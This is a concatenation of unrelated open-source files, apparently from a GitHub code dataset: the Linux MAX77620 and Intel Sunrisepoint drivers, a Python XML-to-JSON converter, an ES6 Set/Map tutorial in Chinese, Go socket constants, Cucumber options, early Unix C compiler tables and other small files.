<area shape="rect" id="node3" href="dir_e752be804545bd6e4da017eb8c880246.html" title="System" alt="" coords="41,244,113,292"/>
<area shape="rect" id="edge3-headlabel" href="dir_000043_000052.html" title="1" alt="" coords="90,220,98,235"/>
<area shape="rect" id="edge1-headlabel" href="dir_000046_000052.html" title="2" alt="" coords="66,217,74,231"/>
<area shape="rect" id="clust1" href="dir_d2053a9e19fa213bdf1df30eeeafc6b7.html" title="IO" alt="" coords="31,16,124,111"/>
</map>
</div>
</div><!-- contents -->
</div><!-- doc-content -->
<hr>
<address>
<small>
<a href="http://www.rwth-graphics.de" style="text-decoration:none;">
</a>
Project <b>OpenMesh</b>,
© Computer Graphics Group, RWTH Aachen.
Documentation generated using
<a class="el" href="http://www.doxygen.org/index.html">
<b>doxygen</b>
</a>.
</small>
</address>
</body>
</html>
|
{
"pile_set_name": "Github"
}
| null | null |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.network.client</key>
<true/>
</dict>
</plist>
|
{
"pile_set_name": "Github"
}
| null | null |
package org.gradle.example.simple;
import org.gradle.example.simple.Person;
import org.junit.Test;
import static org.junit.Assert.*;
public class TestPerson417 {
@Test
public void testPerson() {
Person p = new Person();
p.setAge(20);
p.setName("Fird Birfle");
p.setSalary(195750.22);
assertEquals(215325.242, p.calculateBonus(), 0.01);
assertEquals("The Honorable Fird Birfle", p.becomeJudge());
assertEquals(30, p.timeWarp());
p.wasteTime();
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Maxim MAX77620 MFD Driver
*
* Copyright (C) 2016 NVIDIA CORPORATION. All rights reserved.
*
* Author:
* Laxman Dewangan <ldewangan@nvidia.com>
* Chaitanya Bandi <bandik@nvidia.com>
* Mallikarjun Kasoju <mkasoju@nvidia.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
/****************** Teminology used in driver ********************
* Here are some terminology used from datasheet for quick reference:
* Flexible Power Sequence (FPS):
* The Flexible Power Sequencer (FPS) allows each regulator to power up under
* hardware or software control. Additionally, each regulator can power on
* independently or among a group of other regulators with an adjustable
* power-up and power-down delays (sequencing). GPIO1, GPIO2, and GPIO3 can
* be programmed to be part of a sequence allowing external regulators to be
* sequenced along with internal regulators. 32KHz clock can be programmed to
* be part of a sequence.
* There is 3 FPS confguration registers and all resources are configured to
* any of these FPS or no FPS.
*/
#include <linux/i2c.h>
#include <linux/interrupt.h>
#include <linux/mfd/core.h>
#include <linux/mfd/max77620.h>
#include <linux/module.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/regmap.h>
#include <linux/slab.h>
static struct resource gpio_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_TOP_GPIO),
};
static struct resource power_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_LBT_MBATLOW),
};
static struct resource rtc_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_TOP_RTC),
};
static struct resource thermal_resources[] = {
DEFINE_RES_IRQ(MAX77620_IRQ_LBT_TJALRM1),
DEFINE_RES_IRQ(MAX77620_IRQ_LBT_TJALRM2),
};
static const struct regmap_irq max77620_top_irqs[] = {
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_GLBL, 0, MAX77620_IRQ_TOP_GLBL_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_SD, 0, MAX77620_IRQ_TOP_SD_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_LDO, 0, MAX77620_IRQ_TOP_LDO_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_GPIO, 0, MAX77620_IRQ_TOP_GPIO_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_RTC, 0, MAX77620_IRQ_TOP_RTC_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_32K, 0, MAX77620_IRQ_TOP_32K_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_TOP_ONOFF, 0, MAX77620_IRQ_TOP_ONOFF_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_LBT_MBATLOW, 1, MAX77620_IRQ_LBM_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_LBT_TJALRM1, 1, MAX77620_IRQ_TJALRM1_MASK),
REGMAP_IRQ_REG(MAX77620_IRQ_LBT_TJALRM2, 1, MAX77620_IRQ_TJALRM2_MASK),
};
static const struct mfd_cell max77620_children[] = {
{ .name = "max77620-pinctrl", },
{ .name = "max77620-clock", },
{ .name = "max77620-pmic", },
{ .name = "max77620-watchdog", },
{
.name = "max77620-gpio",
.resources = gpio_resources,
.num_resources = ARRAY_SIZE(gpio_resources),
}, {
.name = "max77620-rtc",
.resources = rtc_resources,
.num_resources = ARRAY_SIZE(rtc_resources),
}, {
.name = "max77620-power",
.resources = power_resources,
.num_resources = ARRAY_SIZE(power_resources),
}, {
.name = "max77620-thermal",
.resources = thermal_resources,
.num_resources = ARRAY_SIZE(thermal_resources),
},
};
static const struct mfd_cell max20024_children[] = {
{ .name = "max20024-pinctrl", },
{ .name = "max77620-clock", },
{ .name = "max20024-pmic", },
{ .name = "max77620-watchdog", },
{
.name = "max77620-gpio",
.resources = gpio_resources,
.num_resources = ARRAY_SIZE(gpio_resources),
}, {
.name = "max77620-rtc",
.resources = rtc_resources,
.num_resources = ARRAY_SIZE(rtc_resources),
}, {
.name = "max20024-power",
.resources = power_resources,
.num_resources = ARRAY_SIZE(power_resources),
},
};
static struct regmap_irq_chip max77620_top_irq_chip = {
.name = "max77620-top",
.irqs = max77620_top_irqs,
.num_irqs = ARRAY_SIZE(max77620_top_irqs),
.num_regs = 2,
.status_base = MAX77620_REG_IRQTOP,
.mask_base = MAX77620_REG_IRQTOPM,
};
static const struct regmap_range max77620_readable_ranges[] = {
regmap_reg_range(MAX77620_REG_CNFGGLBL1, MAX77620_REG_DVSSD4),
};
static const struct regmap_access_table max77620_readable_table = {
.yes_ranges = max77620_readable_ranges,
.n_yes_ranges = ARRAY_SIZE(max77620_readable_ranges),
};
static const struct regmap_range max20024_readable_ranges[] = {
regmap_reg_range(MAX77620_REG_CNFGGLBL1, MAX77620_REG_DVSSD4),
regmap_reg_range(MAX20024_REG_MAX_ADD, MAX20024_REG_MAX_ADD),
};
static const struct regmap_access_table max20024_readable_table = {
.yes_ranges = max20024_readable_ranges,
.n_yes_ranges = ARRAY_SIZE(max20024_readable_ranges),
};
static const struct regmap_range max77620_writable_ranges[] = {
regmap_reg_range(MAX77620_REG_CNFGGLBL1, MAX77620_REG_DVSSD4),
};
static const struct regmap_access_table max77620_writable_table = {
.yes_ranges = max77620_writable_ranges,
.n_yes_ranges = ARRAY_SIZE(max77620_writable_ranges),
};
static const struct regmap_range max77620_cacheable_ranges[] = {
regmap_reg_range(MAX77620_REG_SD0_CFG, MAX77620_REG_LDO_CFG3),
regmap_reg_range(MAX77620_REG_FPS_CFG0, MAX77620_REG_FPS_SD3),
};
static const struct regmap_access_table max77620_volatile_table = {
.no_ranges = max77620_cacheable_ranges,
.n_no_ranges = ARRAY_
|
{
"pile_set_name": "Github"
}
| null | null |
#!/usr/bin/env python
# vim:ts=4:sts=4:sw=4:et
#
# Author: Hari Sekhon
# Date: 2016-01-15 00:07:09 +0000 (Fri, 15 Jan 2016)
#
# https://github.com/harisekhon/devops-python-tools
#
# License: see accompanying Hari Sekhon LICENSE file
#
# If you're using my code you're welcome to connect with me on LinkedIn and optionally send me feedback
# to help improve or steer this or other code I publish
#
# http://www.linkedin.com/in/harisekhon
#
"""
Tool to convert XML to JSON
Reads any given files as XML and prints the equivalent JSON to stdout for piping or redirecting to a file.
Directories if given are detected and recursed, processing all files in the directory tree ending in a .xml suffix.
Works like a standard unix filter program - if no files are passed as arguments or '-' is passed then reads from
standard input.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
#from __future__ import unicode_literals
import json
import os
import re
import sys
import xml
import xmltodict
libdir = os.path.abspath(os.path.join(os.path.dirname(__file__), 'pylib'))
sys.path.append(libdir)
try:
# pylint: disable=wrong-import-position
from harisekhon.utils import die, ERRORS, log, log_option
from harisekhon import CLI
except ImportError as _:
print('module import failed: %s' % _, file=sys.stderr)
print("Did you remember to build the project by running 'make'?", file=sys.stderr)
print("Alternatively perhaps you tried to copy this program out without it's adjacent libraries?", file=sys.stderr)
sys.exit(4)
__author__ = 'Hari Sekhon'
__version__ = '0.2.0'
class XmlToJson(CLI):
def __init__(self):
# Python 2.x
super(XmlToJson, self).__init__()
# Python 3.x
# super().__init__()
self.indent = None
self.re_xml_suffix = re.compile(r'.*\.xml$', re.I)
def add_options(self):
self.add_opt('-p', '--pretty', action='store_true', help='Pretty Print the resulting JSON')
def xml_to_json(self, content, filepath=None):
try:
_ = xmltodict.parse(content)
except xml.parsers.expat.ExpatError as _:
file_detail = ''
if filepath is not None:
file_detail = ' in file \'{0}\''.format(filepath)
die("Failed to parse XML{0}: {1}".format(file_detail, _))
json_string = json.dumps(_, sort_keys=True, indent=self.indent) #, separators=(',', ': '))
return json_string
def run(self):
if self.get_opt('pretty'):
log_option('pretty', True)
self.indent = 4
if not self.args:
self.args.append('-')
for arg in self.args:
if arg == '-':
continue
if not os.path.exists(arg):
print("'%s' not found" % arg)
sys.exit(ERRORS['WARNING'])
if os.path.isfile(arg):
log_option('file', arg)
elif os.path.isdir(arg):
log_option('directory', arg)
else:
die("path '%s' could not be determined as either a file or directory" % arg)
for arg in self.args:
self.process_path(arg)
def process_path(self, path):
if path == '-' or os.path.isfile(path):
self.process_file(path)
elif os.path.isdir(path):
for root, _, files in os.walk(path):
for filename in files:
filepath = os.path.join(root, filename)
if self.re_xml_suffix.match(filepath):
self.process_file(filepath)
else:
die("failed to determine if path '%s' is a file or directory" % path)
def process_file(self, filepath):
log.debug('processing filepath \'%s\'', filepath)
if filepath == '-':
filepath = '<STDIN>'
if filepath == '<STDIN>':
print(self.xml_to_json(sys.stdin.read()))
else:
with open(filepath) as _:
content = _.read()
print(self.xml_to_json(content, filepath=filepath))
if __name__ == '__main__':
XmlToJson().main()
|
{
"pile_set_name": "Github"
}
| null | null |
### 简介
多数主流编程语言都提供了若干种复杂数据结构,而在ES6以前,js只有数组和对象两种
ES6为了弥补这一方面的不足,引入了四种新的数据结构
它们分别是:映射(`Map`)、集合(`Set`)、弱集合(`WeakSet`)和弱映射(`WeakMap`)
### 正文
Set类似数组,但是成员的值都是唯一的,没有重复的值
```javascript
let set = new Set([1, 2, 3, 3])
console.log(set)
// Set(3) {1, 2, 3}
[...set]
// [1, 2, 3]
```
我们可以通过给Set构造函数传入一个数组来创建一个set,数组中的重复值被自动删除
set常用的方法不多,常见的有以下几种
- `add(value)`:添加某个值,返回Set结构本身
- `delete(value)`:删除某个值,返回一个布尔值,表示删除是否成功
- `has(value)`:返回一个布尔值,表示该值是否为`Set`的成员
- `clear()`:清除所有成员,没有返回值
另外,`set`通过`size`属性拿到内部成员的个数,而不是数组的`length`
```javascript
let set = new Set()
set.add(1).add(2).add(2)
set.size // 2
set.delete(2)
set.has(2) // false
set.clear()
set.size() // 0
```
数组的forEach方法也可以用来遍历set,用法相同这里不再叙述
Map类似二维数组,是键值对的集合,但是书写方式稍微有不同
```javascript
let map = new Map([
['a', '1'],
['b', '2']
])
console.log(map)
// Map(2) {"a" => "1", "b" => "2"}
```
与Set相同,Map也用size属性表示内部有多少个键值对
但是从Map中新增,获取值使用set,get方法,其他的has,delete方法与Set相同
```javascript
let m = new Map()
let o = {p: 'Hello World'}
m.set(o, 'content')
m.get(o) // "content"
m.has(o) // true
m.delete(o) // true
m.has(o) // false
```
对比js对象的优势是,Map可以使用任意值作为键值,包括对象(上面代码中的o)
`WeakSet`与`WeakMap`不常用,顾名思义,可以理解为更弱的Set和Map,功能少,而且容易被垃圾回收(内存消耗低)
### 思考
**这部分内容希望你都可以手动敲一遍,独立思考**
使用Set写一个数组去重的方法
接受一个数组参数,并返回一个没有重复值的原数组
---
```javascript
let set = new Set()
let a = NaN
let b = NaN
let c = {}
let d = {}
set.add(a).add(b).add(c).add(d)
```
此时set.size应该输出几?试着解释为什么会是这个结果
---
- [上一章:正则](regexp.md)
- [下一章:Symbol](symbol.md)
|
{
"pile_set_name": "Github"
}
| null | null |
// Created by cgo -godefs - DO NOT EDIT
// cgo -godefs defs_linux.go
package ipv6
const (
sysIPV6_ADDRFORM = 0x1
sysIPV6_2292PKTINFO = 0x2
sysIPV6_2292HOPOPTS = 0x3
sysIPV6_2292DSTOPTS = 0x4
sysIPV6_2292RTHDR = 0x5
sysIPV6_2292PKTOPTIONS = 0x6
sysIPV6_CHECKSUM = 0x7
sysIPV6_2292HOPLIMIT = 0x8
sysIPV6_NEXTHOP = 0x9
sysIPV6_FLOWINFO = 0xb
sysIPV6_UNICAST_HOPS = 0x10
sysIPV6_MULTICAST_IF = 0x11
sysIPV6_MULTICAST_HOPS = 0x12
sysIPV6_MULTICAST_LOOP = 0x13
sysIPV6_ADD_MEMBERSHIP = 0x14
sysIPV6_DROP_MEMBERSHIP = 0x15
sysMCAST_JOIN_GROUP = 0x2a
sysMCAST_LEAVE_GROUP = 0x2d
sysMCAST_JOIN_SOURCE_GROUP = 0x2e
sysMCAST_LEAVE_SOURCE_GROUP = 0x2f
sysMCAST_BLOCK_SOURCE = 0x2b
sysMCAST_UNBLOCK_SOURCE = 0x2c
sysMCAST_MSFILTER = 0x30
sysIPV6_ROUTER_ALERT = 0x16
sysIPV6_MTU_DISCOVER = 0x17
sysIPV6_MTU = 0x18
sysIPV6_RECVERR = 0x19
sysIPV6_V6ONLY = 0x1a
sysIPV6_JOIN_ANYCAST = 0x1b
sysIPV6_LEAVE_ANYCAST = 0x1c
sysIPV6_FLOWLABEL_MGR = 0x20
sysIPV6_FLOWINFO_SEND = 0x21
sysIPV6_IPSEC_POLICY = 0x22
sysIPV6_XFRM_POLICY = 0x23
sysIPV6_RECVPKTINFO = 0x31
sysIPV6_PKTINFO = 0x32
sysIPV6_RECVHOPLIMIT = 0x33
sysIPV6_HOPLIMIT = 0x34
sysIPV6_RECVHOPOPTS = 0x35
sysIPV6_HOPOPTS = 0x36
sysIPV6_RTHDRDSTOPTS = 0x37
sysIPV6_RECVRTHDR = 0x38
sysIPV6_RTHDR = 0x39
sysIPV6_RECVDSTOPTS = 0x3a
sysIPV6_DSTOPTS = 0x3b
sysIPV6_RECVPATHMTU = 0x3c
sysIPV6_PATHMTU = 0x3d
sysIPV6_DONTFRAG = 0x3e
sysIPV6_RECVTCLASS = 0x42
sysIPV6_TCLASS = 0x43
sysIPV6_ADDR_PREFERENCES = 0x48
sysIPV6_PREFER_SRC_TMP = 0x1
sysIPV6_PREFER_SRC_PUBLIC = 0x2
sysIPV6_PREFER_SRC_PUBTMP_DEFAULT = 0x100
sysIPV6_PREFER_SRC_COA = 0x4
sysIPV6_PREFER_SRC_HOME = 0x400
sysIPV6_PREFER_SRC_CGA = 0x8
sysIPV6_PREFER_SRC_NONCGA = 0x800
sysIPV6_MINHOPCOUNT = 0x49
sysIPV6_ORIGDSTADDR = 0x4a
sysIPV6_RECVORIGDSTADDR = 0x4a
sysIPV6_TRANSPARENT = 0x4b
sysIPV6_UNICAST_IF = 0x4c
sysICMPV6_FILTER = 0x1
sysICMPV6_FILTER_BLOCK = 0x1
sysICMPV6_FILTER_PASS = 0x2
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
sizeofIPv6Mtuinfo = 0x20
sizeofIPv6FlowlabelReq = 0x20
sizeofIPv6Mreq = 0x14
sizeofGroupReq = 0x88
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
)
type kernelSockaddrStorage struct {
Family uint16
X__data [126]int8
}
type sockaddrInet6 struct {
Family uint16
Port uint16
Flowinfo uint32
Addr [16]byte /* in6_addr */
Scope_id uint32
}
type inet6Pktinfo struct {
Addr [16]byte /* in6_addr */
Ifindex int32
}
type ipv6Mtuinfo struct {
Addr sockaddrInet6
Mtu uint32
}
type ipv6FlowlabelReq struct {
Dst [16]byte /* in6_addr */
Label uint32
Action uint8
Share uint8
Flags uint16
Expires uint16
Linger uint16
X__flr_pad uint32
}
type ipv6Mreq struct {
Multiaddr [16]byte /* in6_addr */
Ifindex int32
}
type groupReq struct {
Interface uint32
Pad_cgo_0 [4]byte
Group kernelSockaddrStorage
}
type groupSourceReq struct {
Interface uint32
Pad_cgo_0 [4]byte
Group kernelSockaddrStorage
Source kernelSockaddrStorage
}
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}
|
{
"pile_set_name": "Github"
}
| null | null |
print ("Hello World")
print ("Hello World")
|
{
"pile_set_name": "Github"
}
| null | null |
package io.cucumber.junit;
import io.cucumber.plugin.Plugin;
import org.apiguardian.api.API;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Configure Cucumbers options.
*/
@Retention(RetentionPolicy.RUNTIME)
@Target({ ElementType.TYPE })
@API(status = API.Status.STABLE)
public @interface CucumberOptions {
/**
* @return true if glue code execution should be skipped.
*/
boolean dryRun() default false;
/**
* @return true if undefined and pending steps should be treated as
* errors.
* @deprecated will be removed and cucumber will default to strict
*/
@Deprecated
boolean strict() default true;
/**
* Either a URI or path to a directory of features or a URI or path to a
* single feature optionally followed by a colon and line numbers.
* <p>
* When no feature path is provided, Cucumber will use the package of the
* annotated class. For example, if the annotated class is
* {@code com.example.RunCucumber} then features are assumed to be located
* in {@code classpath:com/example}.
*
* @return list of files or directories
* @see io.cucumber.core.feature.FeatureWithLines
*/
String[] features() default {};
/**
* Package to load glue code (step definitions, hooks and plugins) from.
* E.g: {@code com.example.app}
* <p>
* When no glue is provided, Cucumber will use the package of the annotated
* class. For example, if the annotated class is
* {@code com.example.RunCucumber} then glue is assumed to be located in
* {@code com.example}.
*
* @return list of package names
* @see io.cucumber.core.feature.GluePath
*/
String[] glue() default {};
/**
* Package to load additional glue code (step definitions, hooks and
* plugins) from. E.g: {@code com.example.app}
* <p>
* These packages are used in addition to the default described in
* {@code #glue}.
*
* @return list of package names
*/
String[] extraGlue() default {};
/**
* Only run scenarios tagged with tags matching {@code TAG_EXPRESSION}.
* <p>
* For example {@code "@smoke and not @fast"}.
*
* @return a tag expression
*/
String tags() default "";
/**
* Register plugins. Built-in plugin types: {@code junit}, {@code html},
* {@code pretty}, {@code progress}, {@code json}, {@code usage},
* {@code unused}, {@code rerun}, {@code testng}.
* <p>
* Can also be a fully qualified class name, allowing registration of 3rd
* party plugins.
* <p>
* Plugins can be provided with an argument. For example
* {@code json:target/cucumber-report.json}
*
* @return list of plugins
* @see Plugin
*/
String[] plugin() default {};
/**
* Publish report to https://reports.cucumber.io.
* <p>
*
* @return true if reports should be published on the web.
*/
boolean publish() default false;
/**
* @return true if terminal output should be without colours.
*/
boolean monochrome() default false;
/**
* Only run scenarios whose names match one of the provided regular
* expressions.
*
* @return a list of regular expressions
*/
String[] name() default {};
/**
* @return the format of the generated snippets.
*/
SnippetType snippets() default SnippetType.UNDERSCORE;
/**
* Use filename compatible names.
* <p>
* Make sure that the names of the test cases only is made up of
* [A-Za-Z0-9_] so that the names for certain can be used as file names.
* <p>
* Gradle for instance will use these names in the file names of the JUnit
* xml report files.
*
* @return true to enforce the use of well-formed file names
*/
boolean useFileNameCompatibleName() default false;
/**
* Provide step notifications.
* <p>
* By default steps are not included in notifications and descriptions. This
* aligns test case in the Cucumber-JVM domain (Scenarios) with the test
* case in the JUnit domain (the leafs in the description tree), and works
* better with the report files of the notification listeners like maven
* surefire or gradle.
*
* @return true to include steps should be included in notifications
*/
boolean stepNotifications() default false;
/**
* Specify a custom ObjectFactory.
* <p>
* In case a custom ObjectFactory is needed, the class can be specified
* here. A custom ObjectFactory might be needed when more granular control
* is needed over the dependency injection mechanism.
*
* @return an {@link io.cucumber.core.backend.ObjectFactory} implementation
*/
Class<? extends io.cucumber.core.backend.ObjectFactory> objectFactory() default NoObjectFactory.class;
enum SnippetType {
UNDERSCORE, CAMELCASE
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
/ C operator tables
.globl _getwrd
.globl getw
.globl fopen
.globl _tmpfil
.data
_getwrd: 1f
.text
1:
tst buf
bne 1f
mov _tmpfil,r0
jsr r5,fopen; buf
bes botchp
1:
jsr r5,getw; buf
bes botchp
rts pc
botchp:
mov $1,r0
sys write; botch; ebotch-botch
sys exit
botch:
<Temp file botch.\n>; ebotch:
.even
.bss
buf: .=.+518.
.text
.globl _opdope
.globl _instab
_instab:.+2
40.; 1f; 1f; .data; 1:<add\0>; .text
70.; 1b; 1b
41.; 2f; 2f; .data; 2:<sub\0>; .text
71.; 2b; 2b
30.; 3f; 1b; .data; 3:<inc\0>; .text
31.; 4f; 2b; .data; 4:<dec\0>; .text
32.; 3b; 1b
33.; 4b; 2b
45.; 2b; 5f; .data; 5:<ac\0>; .text
46.; 6f; 7f; .data; 6:<mov\0>; 7:<(r4)\0>; .text
75.; 2b; 5b
76.; 6b; 7b
43.; 7b; 1f; .data; 1:<divf\0>; .text
44.; 5b; 0
73.; 7b; 1b
74.; 5b; 0
60.; 0f; 1f; .data; 0:<beq\0>; 1:<bne\0>; .text
61.; 1b; 0b
62.; 2f; 5f; .data; 2:<ble\0>; 5:<bgt\0>; .text
63.; 3f; 4f; .data; 3:<blt\0>; 4:<bge\0>; .text
64.; 4b; 3b
65.; 5b; 2b
66.; 6f; 9f; .data; 6:<blos\0>; 9:<bhi\0>; .text
67.; 7f; 8f; .data; 7:<blo\0>; 8:<bhis\0>; .text
68.; 8b; 7b
69.; 9b; 6b
0
.data
.even
.text
_opdope:.+2
00000 / EOF
00000 / ;
00000 / {
00000 / }
36000 / [
02000 / ]
36000 / (
02000 / )
02000 / :
07001 / ,
00000 / 10
00000 / 11
00000 / 12
00000 / 13
00000 / 14
00000 / 15
00000 / 16
00000 / 17
00000 / 18
00000 / 19
00000 / name
00000 / short constant
00000 / string
00000 / float
00000 / double
00000 / 25
00000 / 26
00000 / 27
00000 / 28
00000 / 29
34002 / ++pre
34002 / --pre
34002 / ++post
34002 / --post
34020 / !un
34002 / &un
34020 / *un
34000 / -un
34020 / ~un
00000 / 39
30101 / +
30001 / -
32101 / *
32001 / /
32001 / %
26061 / >>
26061 / <<
20161 / &
16161 / |
16161 / ^
00000 / 50
00000 / 51
00000 / 52
00000 / 53
00000 / 54
00000 / 55
00000 / 56
00000 / 57
00000 / 58
00000 / 59
22105 / ==
22105 / !=
24105 / <=
24105 / <
24105 / >=
24105 / >
24105 / <p
24105 / <=p
24105 / >p
24105 / >=p
12013 / =+
12013 / =-
12013 / =*
12013 / =/
12013 / =%
12053 / =>>
12053 / =<<
12053 / =&
12053 / =|
12053 / =^
12013 / =
00000 / 81
00000 / 82
00000 / 83
00000 / int -> float
00000 / int -> double
00000 / float -> int
00000 / float -> double
00000 / double -> int
00000 / double -> float
14001 / ?
00000 / 91
00000 / 92
00000 / 93
00000 / int -> float
00000 / int -> double
00000 / float -> double
00000 / int -> int[]
00000 / int -> float[]
00000 / int -> double[]
36001 / call
36001 / mcall
|
{
"pile_set_name": "Github"
}
| null | null |
StartChar: brokenbar
Encoding: 166 166 314
GlifName: brokenbar
Width: 1024
VWidth: 0
Flags: W
HStem: 1024 21G<512 640>
VStem: 512 128<-128 384 1024 1536>
LayerCount: 5
Back
Fore
SplineSet
640 384 m 1
640 -128 l 1
512 -128 l 1
512 384 l 1
640 384 l 1
640 1536 m 1
640 1024 l 1
512 1024 l 1
512 1536 l 1
640 1536 l 1
EndSplineSet
Validated: 1
Layer: 2
Layer: 3
Layer: 4
EndChar
|
{
"pile_set_name": "Github"
}
| null | null |
{
"$schema" : "http://json-schema.org/draft-03/hyper-schema#",
"id" : "http://json-schema.org/draft-03/json-ref#",
"additionalItems" : {"$ref" : "#"},
"additionalProperties" : {"$ref" : "#"},
"links" : [
{
"href" : "{id}",
"rel" : "self"
},
{
"href" : "{$ref}",
"rel" : "full"
},
{
"href" : "{$schema}",
"rel" : "describedby"
}
],
"fragmentResolution" : "dot-delimited"
}
|
{
"pile_set_name": "Github"
}
| null | null |
{{#emitJSDoc}}
/**
* Allowed values for the <code>{{baseName}}</code> property.
* @enum {{=<% %>=}}{<%datatype%>}<%={{ }}=%>
* @readonly
*/
{{/emitJSDoc}}
exports.{{datatypeWithEnum}} = {
{{#allowableValues}}
{{#enumVars}}
{{#emitJSDoc}}
/**
* value: {{{value}}}
* @const
*/
{{/emitJSDoc}}
"{{name}}": {{{value}}}{{^-last}},
{{/-last}}
{{/enumVars}}
{{/allowableValues}}
};
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Copyright (c) 2012-2014 HockeyApp, Bit Stadium GmbH.
* All rights reserved.
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#import "HockeySDK.h"
#if HOCKEYSDK_FEATURE_FEEDBACK
#import "BITActivityIndicatorButton.h"
@interface BITActivityIndicatorButton()
@property (nonatomic, strong) UIActivityIndicatorView *indicator;
@property (nonatomic) BOOL indicatorVisible;
@end
@implementation BITActivityIndicatorButton
- (void)setShowsActivityIndicator:(BOOL)showsIndicator {
if (self.indicatorVisible == showsIndicator){
return;
}
if (!self.indicator){
self.indicator = [[UIActivityIndicatorView alloc] initWithFrame:self.bounds];
[self addSubview:self.indicator];
[self.indicator setColor:[UIColor blackColor]];
}
self.indicatorVisible = showsIndicator;
if (showsIndicator){
[self.indicator startAnimating];
self.indicator.alpha = 1;
self.layer.borderWidth = 1;
self.layer.borderColor = [UIColor lightGrayColor].CGColor;
self.layer.cornerRadius = 5;
self.imageView.image = nil;
} else {
[self.indicator stopAnimating];
self.layer.cornerRadius = 0;
self.indicator.alpha = 0;
self.layer.borderWidth = 0;
}
}
- (void)layoutSubviews {
[super layoutSubviews];
[self.indicator setFrame:self.bounds];
}
@end
#endif /* HOCKEYSDK_FEATURE_FEEDBACK */
|
{
"pile_set_name": "Github"
}
| null | null |
early
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Intel Sunrisepoint PCH pinctrl/GPIO driver
*
* Copyright (C) 2015, Intel Corporation
* Authors: Mathias Nyman <mathias.nyman@linux.intel.com>
* Mika Westerberg <mika.westerberg@linux.intel.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/acpi.h>
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/pm.h>
#include <linux/pinctrl/pinctrl.h>
#include "pinctrl-intel.h"
#define SPT_PAD_OWN 0x020
#define SPT_PADCFGLOCK 0x0a0
#define SPT_HOSTSW_OWN 0x0d0
#define SPT_GPI_IE 0x120
#define SPT_COMMUNITY(b, s, e) \
{ \
.barno = (b), \
.padown_offset = SPT_PAD_OWN, \
.padcfglock_offset = SPT_PADCFGLOCK, \
.hostown_offset = SPT_HOSTSW_OWN, \
.ie_offset = SPT_GPI_IE, \
.gpp_size = 24, \
.pin_base = (s), \
.npins = ((e) - (s) + 1), \
}
/* Sunrisepoint-LP */
static const struct pinctrl_pin_desc sptlp_pins[] = {
/* GPP_A */
PINCTRL_PIN(0, "RCINB"),
PINCTRL_PIN(1, "LAD_0"),
PINCTRL_PIN(2, "LAD_1"),
PINCTRL_PIN(3, "LAD_2"),
PINCTRL_PIN(4, "LAD_3"),
PINCTRL_PIN(5, "LFRAMEB"),
PINCTRL_PIN(6, "SERIQ"),
PINCTRL_PIN(7, "PIRQAB"),
PINCTRL_PIN(8, "CLKRUNB"),
PINCTRL_PIN(9, "CLKOUT_LPC_0"),
PINCTRL_PIN(10, "CLKOUT_LPC_1"),
PINCTRL_PIN(11, "PMEB"),
PINCTRL_PIN(12, "BM_BUSYB"),
PINCTRL_PIN(13, "SUSWARNB_SUS_PWRDNACK"),
PINCTRL_PIN(14, "SUS_STATB"),
PINCTRL_PIN(15, "SUSACKB"),
PINCTRL_PIN(16, "SD_1P8_SEL"),
PINCTRL_PIN(17, "SD_PWR_EN_B"),
PINCTRL_PIN(18, "ISH_GP_0"),
PINCTRL_PIN(19, "ISH_GP_1"),
PINCTRL_PIN(20, "ISH_GP_2"),
